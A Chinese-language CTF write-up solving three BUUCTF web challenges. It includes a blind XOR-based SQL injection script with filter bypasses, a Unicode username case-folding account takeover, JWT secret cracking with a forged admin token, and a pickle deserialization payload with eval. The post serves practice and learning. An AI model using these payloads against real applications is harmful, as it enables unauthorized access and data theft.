BUUCTF復現記錄1

平臺地址:https://buuoj.cn/  裏面不少以前的題目,不錯的平臺。另外幕後大哥博客https://www.zhaoj.in/     如下的解題,都是參考各位大佬的WP去復現,重在記錄下解題思路

以及瞭解一些常規姿式。

 

[CISCN2019 華北賽區 Day2 Web1]Hack World

題目是這樣的php

已經知道了表名和,列名,只須要想辦法讀取裏面的內容就好了。html

過濾了一些字符,繞過就好了。這裏經過BP抓包FUZZ一波,還有手工判斷,這裏有一些BP fuzz使用的payload:  https://github.com/fuzzdb-project/fuzzdbnode

能夠發現過濾了and、or、」、union、#、 --+ ,空格、&&、||、/**/等python

這裏空格可使用%0a,()進行繞過,^異或沒有被過濾,因此這裏可使用異或進行繞過,猜想出最終的flag.git

payload以下:github

import requests import string import urllib s = requests.session() #建立session對象,能夠保存Cookie值 url = "http://f63702e7-ee2e-4b0d-be72-6f27bcc0e241.node1.buuoj.cn/index.php" i = 1 length = len(s.post(url,data={'id':'1'}).text) #輸出post提交時,response響應的內容的長度,和後面提交payload時頁面作對比 # print(len(s.post(url,data={'id':'1'}).text)) 長度312 

''' print(s.post(url,data={'id':'1'}).text) 當post提交1時輸出爲 <html> <head> <title>Hack World</title> </head> <body> <h3>All You Want Is In Table 'flag' and the column is 'flag'</h3> <h3>Now, just give the id of passage</h3> <form action="index.php" method="POST"> <input type="text" name="id"> <input type="submit"> </form> </body> </html> Hello, glzjin wants a girlfriend. ''' flag = '' while 1: status = 1 for x in string.printable:   #string.printable爲可打印字符,在ASCII碼中,0—32及127是控制字符,33~126爲可打印字符   #其中48~57爲0~965~90爲26個字母大寫,97~122爲小寫,其他爲標點符號/運算符等 payload = r"1^(ascii(substr((select%0aflag%0afrom%0aflag),{0},1))={1})^1".format(str(i),str(ord(x))) #使用ascii是由於過濾掉了-,因此先轉ascii,以後再打印出來。再可打印字符裏面有- data = { 'id': urllib.parse.unquote(payload) #urllib.parse用於解析URL,解析上面的%0a } html = s.post(url,data=data).text if length == len(html): flag += x status = 1 print(flag) break else: status = 0 if status == 0: flag += "exp" print(flag) i += 1

flag爲:flag{86b21334-8620-4133-98ad-a6940c102431}web

 

admin

題目鏈接:http://web37.node1.buuoj.cn/json

題目爲admin,那麼應該是須要咱們獲得admin的帳號,而後登陸進去就能夠獲得flag了,能夠,大小寫註冊都無論用。flask

隨便註冊個帳號進去看看,在change password頁面源碼裏看到https://github.com/woadsl1234/hctf_flask/,是題目源碼,使用的是Flask框架,那麼就去看看route,看看裏面的函數cookie

@app.route('/register', methods = ['GET', 'POST'])  //註冊
def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegisterForm() if request.method == 'POST':    //定義提交方式爲POST
        name = strlower(form.username.data)   //將提交的username轉爲小寫
        if session.get('image').lower() != form.verify_code.data.lower(): flash('Wrong verify code.') return render_template('register.html', title = 'register', form=form) if User.query.filter_by(username = name).first(): flash('The username has been registered') return redirect(url_for('register')) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('register successful') return redirect(url_for('login')) return render_template('register.html', title = 'register', form = form) @app.route('/login', methods = ['GET', 'POST'])   //登陸
def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data)    //小寫轉換
        session['name'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form) @app.route('/change', methods = ['GET', 'POST'])    //改密碼
def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name'])     //小寫轉換
        user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash('change successful') return redirect(url_for('index')) return render_template('change.html', title = 'change', form = form) def strlower(username): username = nodeprep.prepare(username) return username

在這裏,咱們能夠看到,他的strlower函數是這樣定義的

def strlower(username): username = nodeprep.prepare(username) return username

username是經過nodeprep.prepare(username)以後獲得的。

而對於nodeprep.prepare()函數,他須要使用的的庫爲twisted,到目前爲止,他已經更新到了19.7.0,而題目使用的是10.2.0的,對於已經有了更高版本的時候,通常會想到應該會存在必定的漏洞

就像php版本同樣,以前低版本的也存在各類各樣的漏洞。

這裏存在Unicode編碼的一個問題,具體對應的編碼:https://unicode-table.com/en/blocks/phonetic-extensions/

能夠知道當使用了nodeprep.prepare()函數以後,若是咱們先使用unicode的編碼的字符,好比說 ᴬ ,使用該函數以後,他會先變成大寫的A,再使用一次就會變成小寫的a。

那麼這裏就可使用他的漏洞進行註冊了:

首先使用  ᴬdmin這個用戶名進行註冊 ,註冊以後,進去就會變成 Admin

而後改密碼,隨便改一個密碼,改密碼以後,再次通過nodeprep.prepare()函數,就能夠將username變成admin了

最後退出,從新以admin的身份進行登陸,即刻獲得flag

 

最後附上一葉飄零大佬的三解:https://www.anquanke.com/post/id/164086

 

[CISCN2019 華北賽區 Day1 Web2]ikun

打開題目,能夠看到

B站鬼畜區大佬,各UP主都愛的素材。看到這,讓我又想起了上次夕陽紅打榜,NB,讓我再次看到了,只要你有實力誰都願意和你交好。

話很少說,審題。打開頁面,知道,咱們須要購買lv6,應該是買到就能夠給Flag吧。

先註冊,隨便註冊個帳號,郵箱隨便弄一個

註冊以後能夠看不到,錢不是不少,應該是不夠買的

接下來先找到lv6,買下來才行,翻了十幾頁,沒看到,腳本跑一下

import requests url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page="

for i in range(1000): r = requests.get(url + str(i)) if "lv6.png" in r.text: print i break

最後跑出來在181頁有lv6,雖然找到了,卻是價格也太貴了,仍是點進去看一下

點擊結算,操做失敗,買不到。看一下源碼,能夠看到,有一個discount折扣,將其改小,改成0.00000001

結算後,自動跳轉到另外的頁面,須要用戶爲admin才能訪問

 

 看一下cookie信息。發現有一個JWT(json web token),關於JWT能夠到這瞭解更多:http://www.javashuo.com/article/p-zuvhvdiv-cy.html

 而後到 https://jwt.io/  進行查詢解析,獲得

這裏將mortals,改成admin,密鑰使用 https://github.com/brendan-rius/c-jwt-cracker 跑出來

最後獲得密鑰爲1Kun,

 

將JWT的值改成以下,進行cookie僞造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

 

再查看源碼的時候,找到有用的東西

下載下來,能夠看到爲該題的源碼

在sshop/views/Admin.py 裏面有個

關於python反序列話,能夠看這 http://www.sohu.com/a/274879579_729271

而後利用python,裏面的pickle庫,進行序列化,讀取flag。

payload:

import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print a

獲得:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

在六級會員頁面,源碼裏面,會看到一個隱藏,將其去掉,而後在admin那按下回車,進行抓包

抓到獲得,

將admin改成,剛纔生成的payload,便可獲得flag

相關文章
相關標籤/搜索